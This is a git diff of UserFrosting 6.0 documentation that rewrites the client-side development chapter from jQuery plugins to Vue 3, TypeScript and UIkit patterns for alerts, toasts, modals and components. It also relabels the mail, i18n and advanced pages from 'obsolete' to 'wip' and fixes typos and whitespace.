+.toast-enter-from {
+  opacity: 0;
+  transform: translateX(50px);
+}
+
+.toast-leave-to {
+  opacity: 0;
+  transform: translateX(50px);
+}
+</style>
+```
 
-Methods can be called after initialization by passing the method name as a string to subsequent calls of `ufAlerts`:
+**App-level usage**:
+```typescript
+// main.ts
+import { createApp } from 'vue'
+import ToastManager from './components/ToastManager.vue'
 
-```js
-$(el).ufAlerts('<method name>');
+const app = createApp({})
+
+// Make toast manager available globally
+const toastContainer = document.createElement('div')
+document.body.appendChild(toastContainer)
+
+const toastApp = createApp(ToastManager)
+const toastInstance = toastApp.mount(toastContainer)
+
+// Make it accessible globally
+app.config.globalProperties.$toast = toastInstance
+
+app.mount('#app')
 ```
 
-### `fetch`
+## Error Handling
+
+Display errors from AJAX requests:
+
+```vue
+<script setup lang="ts">
+import { ref } from 'vue'
+import axios, { AxiosError } from 'axios'
+import { useAlerts } from '@/composables/useAlerts'
+
+const { showError, showSuccess } = useAlerts()
+
+async function performAction() {
+  try {
+    await axios.post('/api/action')
+    showSuccess('Action completed!')
+
+  } catch (error) {
+    handleError(error as AxiosError)
+  }
+}
+
+function handleError(error: AxiosError) {
+  if (error.response) {
+    // Server responded with error status
+    const message = error.response.data?.message || 'An error occurred'
+    showError(message)
+
+    // Handle validation errors
+    if (error.response.status === 422 && error.response.data?.errors) {
+      Object.values(error.response.data.errors).forEach((msgs: any) => {
+        if (Array.isArray(msgs)) {
+          msgs.forEach(msg => showError(msg))
+        } else {
+          showError(msgs)
+        }
+      })
+    }
+  } else if (error.request) {
+    // Request made but no response
+    showError('Network error: Could not reach server')
+  } else {
+    // Something else went wrong
+    showError('An unexpected error occurred')
+  }
+}
+</script>
+```
+
+## Loading States with Alerts
+
+Show loading indicators and completion messages:
 
-Fetch alerts from the message stream resource url.
+```vue
+<script setup lang="ts">
+import { ref } from 'vue'
+import UIkit from 'uikit'
 
-### `render`
+const isLoading = ref(false)
 
-Render all alert messages in the initialized element.
+async function performLongOperation() {
+  isLoading.value = true
 
-Alerts are rendered using a custom [Handlebars template](client-side-code/client-side-templating). The default template is located in `core/templates/pages/partials/alerts.html.twig`, and uses Bootstrap 3's [alert](https://getbootstrap.com/docs/3.3/components/#alerts) component to render each message. This partial template is automatically included in the `core/templates/pages/abstract/base.html.twig` template, in the `uf_alerts_template` block.
+  // Show loading notification
+  const loadingNotification = UIkit.notification(
+    'Processing... Please wait',
+    {
+      status: 'primary',
+      timeout: 0  // Don't auto-close
+    }
+  )
 
-If you wish you may include your own custom Handlebars template instead, overriding the `uf_alerts_template` block and and specifying its `id` with the `alertTemplateId` option when you initialize `ufAlerts`.
+  try {
+    await longRunningTask()
 
-### `push`
+    // Close loading, show success
+    loadingNotification.close()
+    UIkit.notification('Operation completed!', 'success')
 
-This method allows you to add additional alert messages in your client-side code. They will be rendered just like any messages that were retrieved with `fetch` the next time `render` is called:
+  } catch (error) {
+    loadingNotification.close()
+    UIkit.notification('Operation failed', 'danger')
 
-```js
-$("#alerts-page").ufAlerts('push', 'danger', 'You messed up!').ufAlerts('render');
+  } finally {
+    isLoading.value = false
+  }
+}
+</script>
 ```
 
-### `clear`
+## Confirmation Dialogs
+
+Use UIkit modals for confirmations:
+
+```vue
+<script setup lang="ts">
+import UIkit from 'uikit'
 
-This method clears the internally loaded collection of alerts, as well as their rendered HTML from the initialized element:
+async function deleteUser(userId: number) {
+  // UIkit doesn't have built-in confirm, use native or create modal
+  const confirmed = confirm('Are you sure you want to delete this user?')
 
-```js
-$("#alerts-page").ufAlerts('clear');
+  if (confirmed) {
+    try {
+      await axios.delete(`/api/users/${userId}`)
+      UIkit.notification('User deleted', 'success')
+    } catch (error) {
+      UIkit.notification('Failed to delete user', 'danger')
+    }
+  }
+}
+
+// Or create a custom modal component
+function showConfirmModal(message: string, onConfirm: () => void) {
+  // Create modal element
+  const modal = document.createElement('div')
+  modal.innerHTML = `
+    <div id="confirm-modal" uk-modal>
+      <div class="uk-modal-dialog uk-modal-body">
+        <h2 class="uk-modal-title">Confirm</h2>
+        <p>${message}</p>
+        <p class="uk-text-right">
+          <button class="uk-button uk-button-default uk-modal-close">Cancel</button>
+          <button class="uk-button uk-button-primary" id="confirm-btn">Confirm</button>
+        </p>
+      </div>
+    </div>
+  `
+  document.body.appendChild(modal)
+
+  const confirmBtn = document.getElementById('confirm-btn')
+  confirmBtn?.addEventListener('click', () => {
+    onConfirm()
+    UIkit.modal('#confirm-modal').hide()
+    document.body.removeChild(modal)
+  })
+
+  UIkit.modal('#confirm-modal').show()
+}
+</script>
 ```
 
-### `destroy`
+## Best Practices
+
+### 1. Use Appropriate Alert Types
+
+Match the alert type to the message:
+- **Success**: Completed actions, confirmations
+- **Danger/Error**: Failures, critical issues
+- **Warning**: Cautions, reversible actions
+- **Info**: General information, tips
 
-Destroy the `ufAlerts` instance on a DOM element:
+### 2. Auto-Dismiss Non-Critical Alerts
 
-```js
-$("#alerts-page").ufAlerts('destroy');
+Success messages should auto-dismiss:
+```typescript
+UIkit.notification('Saved!', {
+  status: 'success',
+  timeout: 3000
+})
 ```
 
-## Options
+Errors might need manual dismissal:
+```typescript
+UIkit.notification('Critical error occurred', {
+  status: 'danger',
+  timeout: 0  // Requires manual close
+})
+```
 
-### `url`
+### 3. Position Appropriately
 
-The absolute URL from which to fetch flash alerts. Defaults to `site.uri.public + '/alerts'`.
+Top-right is standard for notifications:
+```typescript
+UIkit.notification(message, { pos: 'top-right' })
+```
 
-### `scrollToTop`
+Use top-center for important announcements.
 
-Whether to automatically scroll back to the top of the page after rendering alerts. Defaults to `true`.
+### 4. Avoid Alert Spam
 
-### `scrollWhenVisible`
+Don't show multiple alerts for the same action:
 
-Whether to automatically scroll back to the top of the page even if the alerts are already visible in the current viewport. Only used when `scrollToTop` is `true`. Defaults to `false`.
+```typescript
+// ❌ Bad: Shows many alerts
+errors.forEach(error => showError(error))
 
-### `agglomerate`
+// ✅ Good: Combine into one message
+showError(`${errors.length} errors occurred`)
+```
+
+### 5. Provide Actionable Messages
+
+Be specific about what happened and what to do:
+
+✅ **Good**: "Failed to save. Please check your internet connection and try again."
+❌ **Bad**: "Error occurred"
+
+## Integration with Forms
 
-Set to true to render all alerts in a single bulleted list (`ul/li`), applying styling based on the highest-priority alert being rendered. Defaults to `false`.
+Automatically show alerts after form submission:
+
+```vue
+<script setup lang="ts">
+import { useAlerts } from '@/composables/useAlerts'
+import { useForm } from '@/composables/useForm'
+
+const { showSuccess, showError } = useAlerts()
+
+const { form, submit } = useForm({
+  initialData: { name: '', email: '' },
+  onSuccess: () => {
+    showSuccess('Form submitted successfully!')
+  },
+  onError: (error) => {
+    showError(error.response?.data?.message || 'Submission failed')
+  }
+})
+
+async function handleSubmit() {
+  await submit('/api/endpoint')
+}
+</script>
+```
 
-### `alertMessageClass`
+## What's Next?
 
-The CSS class(es) to be applied to each alert message. Defaults to `uf-alert-message`.
+- **[Forms](client-side-code/components/forms)**: Build validated forms that show alerts
+- **[Tables](client-side-code/components/tables)**: Display data with loading states
+- **[Collections](client-side-code/components/collections)**: Manage lists with feedback
 
-### `alertTemplateId`
+## Further Reading
 
-The id of the Handlebars alert template to use when rendering alerts. Defaults to `uf-alert-template`.
+- [UIkit Notification Component](https://getuikit.com/docs/notification)
+- [UIkit Alert Component](https://getuikit.com/docs/alert)
+- [Vue 3 Teleport](https://vuejs.org/guide/built-ins/teleport.html)
+- [Vue 3 Transitions](https://vuejs.org/guide/built-ins/transition.html)
diff --git a/app/pages/6.0/15.client-side-code/04.components/docs.md b/app/pages/6.0/15.client-side-code/04.components/docs.md
index 3cc98a6e..5bc978cf 100644
--- a/app/pages/6.0/15.client-side-code/04.components/docs.md
+++ b/app/pages/6.0/15.client-side-code/04.components/docs.md
@@ -1,75 +1,280 @@
 ---
-title: Components
-description: UserFrosting comes with a number of custom jQuery plugins that simplify the interactions between the client-side components and the backend.
-obsolete: true
+title: Common UI Components
+description: Reusable Vue 3 components for building interactive user interfaces in UserFrosting
+wip: true
 ---
 
-UserFrosting also comes with a number of [custom jQuery plugins](client-side-code/components) that simplify the interactions between the client-side components and the backend. These can all be found in the `core` Sprinkle, under `assets/local/core/js/`.
+UserFrosting 6.0 provides patterns and examples for building common UI components with Vue 3. This section covers the most frequently used interactive elements in web applications.
 
-### ufAlerts
+## Component Categories
 
-Fetches and renders alerts from the [alert stream](routes-and-controllers/alert-stream). See the section on [alerts](client-side-code/components/alerts) for more information on using this plugin.
+### Forms
 
-### ufCollection
+Handle user input with validated, AJAX-powered forms. Learn how to:
+- Build reactive forms with two-way data binding
+- Implement client and server-side validation
+- Submit data with proper CSRF protection
+- Display loading states and error messages
+- Create reusable form composables
 
-A client-side widget that allows you to easily associate related entities in a one-to-many or many-to-many relationship by selecting them from a dropdown menu.
+**[Learn more about Forms →](client-side-code/components/forms)**
 
-For example, both the "user roles" and "role permissions" interfaces use this plugin:
+### Tables
 
-![ufCollection widget as used for the "user role" management interface.](images/uf-collection.png)
+Display and manipulate collections of data with sortable, filterable, paginated tables:
+- Client-side sorting and filtering
+- Server-side pagination with Sprunjes
+- Integration with TanStack Table library
+- Reusable table composables
+- Loading states and empty states
 
-See the documentation on [collections](client-side-code/components/collections) for more information on using this plugin.
+**[Learn more about Tables →](client-side-code/components/tables)**
 
-### ufCopy
+### Collections
 
-Helper to generate a tooltip alert for clipboard.js.
+Manage dynamic lists of items where users can add, remove, and reorder entries:
+- Dynamic form fields (add/remove)
+- Complex collection items with multiple fields
+- Drag-and-drop reordering
+- Validation for collection items
+- Server integration patterns
 
-![ufCopy widget.](images/uf-copy.png)
+**[Learn more about Collections →](client-side-code/components/collections)**
 
-**Markup:**
+### Alerts and Notifications
 
+Provide user feedback through alerts, notifications, and toast messages:
+- UIkit notification system
+- Alert stream integration
+- Reusable alert composables
+- Error handling patterns
+- Confirmation dialogs
+
+**[Learn more about Alerts →](client-side-code/components/alerts)**
+
+## Component Patterns
+
+### Reusability
+
+Build components that can be reused across your application:
+
+```vue
+<!-- Reusable Button Component -->
+<script setup lang="ts">
+interface Props {
+  variant?: 'primary' | 'default' | 'danger'
+  size?: 'small' | 'default' | 'large'
+  disabled?: boolean
+  loading?: boolean
+}
+
+const props = withDefaults(defineProps<Props>(), {
+  variant: 'default',
+  size: 'default',
+  disabled: false,
+  loading: false
+})
+
+const emit = defineEmits<{
+  click: [event: MouseEvent]
+}>()
+</script>
+
+<template>
+  <button
+    :class="[
+      'uk-button',
+      `uk-button-${variant}`,
+      `uk-button-${size}`
+    ]"
+    :disabled="disabled || loading"
+    @click="emit('click', $event)"
+  >
+    <span v-if="loading" uk-spinner="ratio: 0.5"></span>
+    <slot v-else />
+  </button>
+</template>
+```
+
+### Composition
+
+Combine smaller components to build complex UIs:
+
+```vue
+<template>
+  <UserForm>
+    <FormField label="Username" v-model="user.username" />
+    <FormField label="Email" v-model="user.email" type="email" />
+    <FormActions>
+      <Button variant="primary" @click="save">Save</Button>
+      <Button @click="cancel">Cancel</Button>
+    </FormActions>
+  </UserForm>
+</template>
+```
+
+### Composables
+
+Extract and share logic across components:
+
+```typescript
+// composables/useForm.ts
+export function useForm(initialData, onSubmit) {
+  const form = ref({ ...initialData })
+  const errors = ref({})
+  const isSubmitting = ref(false)
+
+  async function submit() {
+    isSubmitting.value = true
+    try {
+      await onSubmit(form.value)
+    } catch (e) {
+      errors.value = e.response?.data?.errors || {}
+    } finally {
+      isSubmitting.value = false
+    }
+  }
+
+  return { form, errors, isSubmitting, submit }
+}
+```
+
+## UIkit Integration
+
+UserFrosting uses [UIkit](https://getuikit.com/) for styling. Common UIkit components you'll use:
+
+### Buttons
+```html
+<button class="uk-button uk-button-primary">Primary</button>
+<button class="uk-button uk-button-default">Default</button>
+<button class="uk-button uk-button-danger">Danger</button>
+```
+
+### Cards
 ```html
-<div class="js-copy-container">
-    <span class="js-copy-target">{{row.email}}</span>
-    <button class="btn btn-xs js-copy-trigger"><i class="fa fa-copy"></i></button>
+<div class="uk-card uk-card-default uk-card-body">
+  <h3 class="uk-card-title">Title</h3>
+  <p>Content</p>
 </div>
 ```
 
-### ufForm
+### Modals
+```html
+<div id="my-modal" uk-modal>
+  <div class="uk-modal-dialog uk-modal-body">
+    <h2 class="uk-modal-title">Title</h2>
+    <p>Modal content</p>
+  </div>
+</div>
+```
 
-A convenient wrapper for AJAX form submission. Handles validation, loading icon during the submission process, and automatically fetching and displaying error messages after a failed submission.
+**Open programmatically**:
+```typescript
+import UIkit from 'uikit'
 
-See the section on [forms](client-side-code/components/forms) for more information on using this plugin.
+UIkit.modal('#my-modal').show()
+```
 
-### ufModal
+### Dropdowns
+```html
+<button class="uk-button uk-button-default" type="button">
+  Menu
+</button>
+<div uk-dropdown>
+  <ul class="uk-nav uk-dropdown-nav">
+    <li><a href="#">Item 1</a></li>
+    <li><a href="#">Item 2</a></li>
+  </ul>
+</div>
+```
 
-Renders and displays modal windows that dynamically fetch their content from a specified URL. Very useful for pop-up forms and dialog boxes.
+## Best Practices
 
-```js
-// Fetch and launch the modal
-$('body').ufModal({
-    // URL that serves the modal HTML
-    sourceUrl: site.uri.public + '/modals/users/roles',
-    // Additional request parameters
-    ajaxParams: {
-        user_name: userName
-    },
-    // Target element to display any errors generated by the modal request
-    msgTarget: $('#alerts-page')
-});
+### 1. Component Organization
 
-// Additional code to run after the modal has been retrieved and displayed.
-// For example, setting up a form submission:
-$('body').on('renderSuccess.ufModal', function (data) {
-    var modal = $(this).ufModal('getModal');
-    var form = modal.find('.js-form');
+Organize components by feature or function:
 
-    ...
-});
 ```
+components/
+├── common/           # Reusable across app
+│   ├── Button.vue
+│   ├── Input.vue
+│   └── Modal.vue
+├── user/            # User-related
+│   ├── UserCard.vue
+│   ├── UserForm.vue
+│   └── UserTable.vue
+└── layout/          # Layout components
+    ├── Header.vue
+    ├── Sidebar.vue
+    └── Footer.vue
+```
+
+### 2. Props and Events
+
+Follow Vue's data flow pattern:
+- **Props down**: Parent passes data to child
+- **Events up**: Child notifies parent of changes
+
+```vue
+<!-- Parent -->
+<UserCard :user="user" @edit="handleEdit" @delete="handleDelete" />
+
+<!-- Child -->
+<script setup>
+const props = defineProps(['user'])
+const emit = defineEmits(['edit', 'delete'])
+</script>
+```
+
+### 3. Type Safety
+
+Use TypeScript for better developer experience:
+
+```typescript
+interface User {
+  id: number
+  username: string
+  email: string
+}
+
+const props = defineProps<{
+  user: User
+  editable?: boolean
+}>()
+```
+
+### 4. Error Handling
+
+Always handle errors gracefully:
+
+```typescript
+try {
+  await performAction()
+  showSuccess('Action completed')
+} catch (error) {
+  showError('Action failed')
+  console.error(error)
+}
+```
+
+## What's Next?
+
+Dive into specific component types:
+
+- **[Forms](client-side-code/components/forms)** - User input and validation
+- **[Tables](client-side-code/components/tables)** - Data display and manipulation
+- **[Collections](client-side-code/components/collections)** - Dynamic lists
+- **[Alerts](client-side-code/components/alerts)** - User feedback
+
+Or explore foundational concepts:
 
-### ufTable
+- **[Vue Components](client-side-code/vue-components)** - Vue 3 basics
+- **[Exporting Variables](client-side-code/exporting-variables)** - Data passing
+- **[Asset Management](asset-management)** - Building and bundling
 
-A wrapper for [Tablesorter](https://mottie.github.io/tablesorter/docs/) that automatically fetches JSON data from a specified API endpoint, and dynamically builds paginated, sorted, filtered views on the fly. Very useful as a quick-and-easy way to get data from your database to the client.
+## Further Reading
 
-See the section on [tables](client-side-code/components/tables) for more information on using this plugin.
+- [Vue 3 Component Basics](https://vuejs.org/guide/essentials/component-basics.html)
+- [UIkit Components](https://getuikit.com/docs/introduction)
+- [TypeScript with Vue](https://vuejs.org/guide/typescript/overview.html)
diff --git a/app/pages/6.0/15.client-side-code/chapter.md b/app/pages/6.0/15.client-side-code/chapter.md
index 61366205..e1dab007 100644
--- a/app/pages/6.0/15.client-side-code/chapter.md
+++ b/app/pages/6.0/15.client-side-code/chapter.md
@@ -1,11 +1,64 @@
 ---
-title: Client-side Code
-description: UserFrosting ships with client-side plugins and code that allow the backend to seamlessly interface with popular Javascript libraries and offer a rich, modern user experience.
-obsolete: true
+title: Client-Side Development
+description: Building modern interactive user interfaces with Vue 3, TypeScript, and UIkit
+wip: true
 ---
 
 #### Chapter 15
 
-# Client-side Code
+# Client-Side Development
 
-UserFrosting ships with client-side plugins and code that allow the backend to seamlessly interface with popular Javascript libraries and offer a rich, modern user experience.
+Modern web applications are fundamentally different from the static document-based websites of the past. Today's users expect rich, interactive experiences that respond instantly to their actions—without waiting for page reloads or server round-trips.
+
+UserFrosting 6.0 embraces this reality with a modern frontend stack centered around **Vue 3**, **TypeScript**, and **UIkit**. This chapter teaches you how to build reactive, component-based user interfaces that feel fast and responsive while integrating seamlessly with UserFrosting's backend.
+
+## The Modern Frontend Stack
+
+UserFrosting 6.0 uses these core technologies for client-side development:
+
+- **Vue 3**: Progressive JavaScript framework for building reactive user interfaces
+- **TypeScript**: Type-safe JavaScript that catches errors during development
+- **UIkit**: Lightweight, modular CSS framework with beautiful components
+- **Vite**: Lightning-fast build tool with Hot Module Replacement
+- **Axios**: Promise-based HTTP client for API communication
+
+Gone are the days of jQuery selectors and DOM manipulation. Vue 3's reactive data binding and component-based architecture make it easier to build complex UIs while writing less code.
+
+## Why Vue 3?
+
+If you're coming from jQuery or vanilla JavaScript, Vue 3 might seem like a significant change. Here's why it's worth learning:
+
+**Reactive Data Binding**: Changes to your data automatically update the UI. No more manually finding elements and updating their content.
+
+**Component-Based**: Break your UI into reusable pieces. Each component encapsulates its HTML, CSS, and JavaScript.
+
+**TypeScript Support**: Catch bugs before they reach production with type checking and intelligent code completion.
+
+**Better Performance**: Virtual DOM and optimized reactivity mean faster updates and smoother interactions.
+
+**Modern Developer Experience**: Hot Module Replacement (HMR) shows your changes instantly without page reloads.
+
+## What This Chapter Covers
+
+This chapter is your guide to building client-side features in UserFrosting:
+
+- **[Overview](client-side-code/overview)**: Understanding the client-side stack and available tools
+- **[Exporting Variables](client-side-code/exporting-variables)**: Passing data from PHP/Twig to JavaScript
+- **[Vue Components](client-side-code/vue-components)**: Building reactive components with Vue 3
+- **[Forms](client-side-code/components/forms)**: Creating validated, AJAX-powered forms
+- **[Tables](client-side-code/components/tables)**: Building data tables with sorting and filtering
+- **[Collections](client-side-code/components/collections)**: Managing dynamic lists of items
+- **[Alerts](client-side-code/components/alerts)**: Displaying notifications and messages
+
+> [!TIP]
+> If you're new to Vue 3, don't worry! This chapter explains concepts as we go. You don't need to be a Vue expert to build great features with UserFrosting.
+
+## Learning Path
+
+**If you're new to Vue**: Start with [Overview](client-side-code/overview) to understand the basics, then work through the component examples.
+
+**If you know Vue 2**: The [Vue Components](client-side-code/vue-components) section highlights what's different in Vue 3.
+
+**If you're upgrading from UserFrosting 5.1**: The component sections show how to migrate from jQuery plugins to Vue 3 patterns.
+
+Ready to build modern, interactive user interfaces? Let's dive in!
diff --git a/app/pages/6.0/16.mail/01.the-mailer-service/docs.md b/app/pages/6.0/16.mail/01.the-mailer-service/docs.md
index f9eda77e..44cd4500 100644
--- a/app/pages/6.0/16.mail/01.the-mailer-service/docs.md
+++ b/app/pages/6.0/16.mail/01.the-mailer-service/docs.md
@@ -1,7 +1,7 @@
 ---
 title: The Mailer Service
 description: UserFrosting's mailer service integrates smoothly with Twig to create dynamically generated messages.  Templated messages can be sent to large groups of recipients, customizing the content for each recipient.
-obsolete: true
+wip: true
 ---
 
 ## Configuration
@@ -95,7 +95,7 @@ public function __construct(
     protected Twig $twig,
     protected Mailer $mailer,
 ) {
-}    
+}
 
 // ...
 
diff --git a/app/pages/6.0/16.mail/chapter.md b/app/pages/6.0/16.mail/chapter.md
index a899fdf2..d00d3ccb 100644
--- a/app/pages/6.0/16.mail/chapter.md
+++ b/app/pages/6.0/16.mail/chapter.md
@@ -1,7 +1,7 @@
 ---
 title: Mail
 description: Email is essential for many of UserFrosting's account features, including account verification and password reset requests.
-obsolete: true
+wip: true
 ---
 
 #### Chapter 16
diff --git a/app/pages/6.0/17.i18n/01.introduction/docs.md b/app/pages/6.0/17.i18n/01.introduction/docs.md
index 52f19b89..b7ff7cd5 100644
--- a/app/pages/6.0/17.i18n/01.introduction/docs.md
+++ b/app/pages/6.0/17.i18n/01.introduction/docs.md
@@ -1,7 +1,7 @@
 ---
 title: Introduction
 description: An introduction to UserFrosting i18n system
-obsolete: true
+wip: true
 ---
 
 UserFrosting provides a complete framework for translating strings and sentences easily and efficiently. UserFrosting allows you to [define the default locale](i18n/site-locale#the-default-locale) your UI should present to guest users, while allowing resgistered users to [choose their prefered locale](i18n/site-locale#the-available-user-locales).
diff --git a/app/pages/6.0/17.i18n/02.site-locale/docs.md b/app/pages/6.0/17.i18n/02.site-locale/docs.md
index 91555a13..f58b35e9 100644
--- a/app/pages/6.0/17.i18n/02.site-locale/docs.md
+++ b/app/pages/6.0/17.i18n/02.site-locale/docs.md
@@ -1,10 +1,10 @@
 ---
 title: Setting up the site language
 description: Configuration options are available to control the overall language presented by UserFrosting.
-obsolete: true
+wip: true
 ---
 
-UserFrosting is translated in a variaty of languages provided by our community. While a default locale will be used for new visitors, each user can  choose their prefered language.
+UserFrosting is translated in a variety of languages provided by our community. While a default locale will be used for new visitors, each user can  choose their preferred language.
 
 ## The default locale
 
@@ -17,7 +17,7 @@ For example, to use _French_ as the default locale :
 ```
 
 > [!NOTE]
-> When returned by the browser, the browser prefered locale will be used as the default locale for guest user.
+> When returned by the browser, the browser preferred locale will be used as the default locale for guest user.
 
 ## The available user locales
 
diff --git a/app/pages/6.0/17.i18n/03.translator/docs.md b/app/pages/6.0/17.i18n/03.translator/docs.md
index a6445641..7f3aa384 100644
--- a/app/pages/6.0/17.i18n/03.translator/docs.md
+++ b/app/pages/6.0/17.i18n/03.translator/docs.md
@@ -1,7 +1,7 @@
 ---
 title: The translator
 description: Each sprinkle can overwrite or add new translations keys using translation files
-obsolete: true
+wip: true
 ---
 
 Now that we've [seen the basics](i18n/introduction), it's time to actually use the translator in code, and learn a little bit more about special features the translator offers, mainly **placeholder**, **pluralization** and **nested keys**.
diff --git a/app/pages/6.0/17.i18n/04.custom-locale/docs.md b/app/pages/6.0/17.i18n/04.custom-locale/docs.md
index 49f7e5fc..8ab033b9 100644
--- a/app/pages/6.0/17.i18n/04.custom-locale/docs.md
+++ b/app/pages/6.0/17.i18n/04.custom-locale/docs.md
@@ -1,7 +1,7 @@
 ---
 title: Creating a custom locale
 description: Creating a custom locale is easy, and will allow to reach more users.
-obsolete: true
+wip: true
 ---
 
 Whether to add an unsupported language (Klingon anyone?), to create a new dialect (eg. French Canadian), or simply to modify the predefined values, a custom locale can help you communicate with your end users.
diff --git a/app/pages/6.0/17.i18n/chapter.md b/app/pages/6.0/17.i18n/chapter.md
index b1f14c17..0dc7d624 100644
--- a/app/pages/6.0/17.i18n/chapter.md
+++ b/app/pages/6.0/17.i18n/chapter.md
@@ -1,7 +1,7 @@
 ---
 title: Internationalization
 description: Internationalization consists of the translation files used to translate pages of your web application. UserFrosting provides a framework for translating strings and sentences easily and efficiently.
-obsolete: true
+wip: true
 ---
 
 #### Chapter 17
diff --git a/app/pages/6.0/18.advanced/01.custom-models/docs.md b/app/pages/6.0/18.advanced/01.custom-models/docs.md
index 150961ee..12d264ab 100644
--- a/app/pages/6.0/18.advanced/01.custom-models/docs.md
+++ b/app/pages/6.0/18.advanced/01.custom-models/docs.md
@@ -1,7 +1,7 @@
 ---
 title: Using Custom Data Models
 description: The dependency injector makes it easy to override entire data models in your Sprinkle.
-obsolete: true
+wip: true
 ---
 
 Extending PHP classes is a little different from extending other types of entities. You cannot simply replace a class by redefining it in a custom Sprinkle. In fact, classes with the same name in two different Sprinkles would be treated as two different fully-qualified classes per the [PSR-4 standard](http://www.php-fig.org/psr/psr-4/). For example, if I loaded the Sprinkles `Account` and `Site`, and I had the following structure:
@@ -46,9 +46,9 @@ Now, we can start using `\UserFrosting\Sprinkle\Site\Database\Models\User` to ex
 
 Of course, the limitations of object-oriented inheritance becomes clear when you want to change the behavior of the original class in other places where it has been used. For example, if I extended `Account\Database\Models\User` and redefined the `onLogin` method in my `Site\Database\Models\User` class, this would let me use `Site\Database\Models\User` going forward in any code I write in the `site` Sprinkle. However, it wouldn't affect references to `User` in the `account` Sprinkle - they would still be referring to the base class.
 
-To allow this sort of "_retroactive extendability_", the Dependency Injector can be used to resolves interface identifiers to specific class names at runtime [through Interface Binding and custom Autowiring](dependency-injection/the-di-container#binding-interfaces). 
+To allow this sort of "_retroactive extendability_", the Dependency Injector can be used to resolves interface identifiers to specific class names at runtime [through Interface Binding and custom Autowiring](dependency-injection/the-di-container#binding-interfaces).
 
-UserFrosting uses this feature to solve this issue when dealing with data Models **by binding each default model to an interface**. Rather than hardcoding references to `UserFrosting\Sprinkle\Account\Database\Models\User`, UserFrosting reference the `UserFrosting\Sprinkle\Account\Database\Models\Interfaces\UserInterface` interface and map the interface with the correct model in the Account Sprinkle service provider. 
+UserFrosting uses this feature to solve this issue when dealing with data Models **by binding each default model to an interface**. Rather than hardcoding references to `UserFrosting\Sprinkle\Account\Database\Models\User`, UserFrosting reference the `UserFrosting\Sprinkle\Account\Database\Models\Interfaces\UserInterface` interface and map the interface with the correct model in the Account Sprinkle service provider.
 
 For example, a controller in the account Sprinkle will do something like:
 
@@ -94,7 +94,7 @@ The following interface-model association are defined by default in the *Account
 
 ## Overwriting existing map
 
-It is possible for any sprinkle to overwrite the default mapping in a service provider. Then every time `UserInterface` is referenced for example, your model will actually be injected instead of the default `User` Model.  
+It is possible for any sprinkle to overwrite the default mapping in a service provider. Then every time `UserInterface` is referenced for example, your model will actually be injected instead of the default `User` Model.
 
 **app/src/ServicesProvider/ModelsServices.php**:
 ```php
diff --git a/app/pages/6.0/18.advanced/03.application-lifecycle/docs.md b/app/pages/6.0/18.advanced/03.application-lifecycle/docs.md
index 9b28c55f..e43de0f2 100644
--- a/app/pages/6.0/18.advanced/03.application-lifecycle/docs.md
+++ b/app/pages/6.0/18.advanced/03.application-lifecycle/docs.md
@@ -1,7 +1,7 @@
 ---
 title: Application Lifecycle
 description: Each Sprinkle may define a bootstrapper class that allows it to hook into various stages of the UserFrosting application lifecycle.
-obsolete: true
+wip: true
 ---
 
 Every time UserFrosting is booted up to handle a request, it goes through its **application lifecycle**. This process includes loading the resources and [services](services) in your Sprinkles, setting up the [Slim application](https://www.slimframework.com/docs/v3/objects/application.html), registering middleware, and setting up your [routes](routes-and-controllers/front-controller).
diff --git a/app/pages/6.0/18.advanced/04.error-handling/docs.md b/app/pages/6.0/18.advanced/04.error-handling/docs.md
index ab32b9ce..65d1cdd6 100644
--- a/app/pages/6.0/18.advanced/04.error-handling/docs.md
+++ b/app/pages/6.0/18.advanced/04.error-handling/docs.md
@@ -1,7 +1,7 @@
 ---
 title: Exceptions and Error Handling
 description: UserFrosting provides a rich set of features for catching errors and exceptions, logging or displaying detailed error information, and providing appropriate responses to the client.
-obsolete: true
+wip: true
 ---
 
 Things don't always go the way they were intended in your application. Sometimes this is the client's fault, and sometimes it is the server's (i.e. _your_) fault. When this happens, it is important that your application:
@@ -14,7 +14,7 @@ UserFrosting provides a framework for this process using custom PHP **[exception
 
 ## The exception lifecycle
 
-Any time an uncaught **exception** is thrown in your code, a global **Exception Handler Middleware** catches it and invokes a custom **error handler** specific to the exception that has been thrown. In return, this exception handler might invoke a specific **error renderer** to format the response for display, storage or logging. 
+Any time an uncaught **exception** is thrown in your code, a global **Exception Handler Middleware** catches it and invokes a custom **error handler** specific to the exception that has been thrown. In return, this exception handler might invoke a specific **error renderer** to format the response for display, storage or logging.
 
 ### Exceptions
 
@@ -88,14 +88,14 @@ In most cases, when an exception is thrown, the `UserFrosting\Sprinkle\Core\Erro
 
 Every exception handler implements one public method (as defined by `UserFrosting\Sprinkle\Core\Error\Handler\ExceptionHandlerInterface`): `handle()`. This is the entry point for handling the exception. This is where you decide if/how to show an error message, debugging page, log the error, and/or do something different entirely. This methods receive the *Server Request* and the *Exception* itself, and must return a Server Response.
 
-The base implementation of this interface is `UserFrosting\Sprinkle\Core\Error\Handler\ExceptionHandler`. This is the default Exception Handler, and most custom exception handlers will extends this class. It add some features over the interface : 
+The base implementation of this interface is `UserFrosting\Sprinkle\Core\Error\Handler\ExceptionHandler`. This is the default Exception Handler, and most custom exception handlers will extends this class. It add some features over the interface :
 1. Generate the appropriate user facing message, translate it if required, and determine the exception status code, if applicable;
 2. Decide if the exception should be saved to log. If so, uses `writeToErrorLog()` to write the detailed error information and stack trace to the UserFrosting error log service (which defaults to writing to the `logs/userfrosting.log` file), using a specific Error Renderer;
 3. Render the Response using the appropriate *Error Renderer*;
 
-A single handler isn't necessarily bind to a single Exception. Each handler can handle [Subtypes](https://www.php.net/manual/en/function.is-subclass-of.php) of an Exception natively. For example, `UserMessageExceptionHandler` handles `UserMessageException`, but also any exception that is a child of `UserMessageException`, since the handler also accept subtype handling. Since `ForbiddenException` extend `AccountException`, which extends `UserFacingException`, which *implements* `UserMessageException`, which is *handled* by `UserMessageExceptionHandler`, `ForbiddenException` will be handled by `UserMessageExceptionHandler`. 
+A single handler isn't necessarily bind to a single Exception. Each handler can handle [Subtypes](https://www.php.net/manual/en/function.is-subclass-of.php) of an Exception natively. For example, `UserMessageExceptionHandler` handles `UserMessageException`, but also any exception that is a child of `UserMessageException`, since the handler also accept subtype handling. Since `ForbiddenException` extend `AccountException`, which extends `UserFacingException`, which *implements* `UserMessageException`, which is *handled* by `UserMessageExceptionHandler`, `ForbiddenException` will be handled by `UserMessageExceptionHandler`.
 
-However, `AuthExpiredException` will be handled by `RedirectToLoginDangerHandler`, even it extends `AccountException` because a handler is directly defined for this exception. 
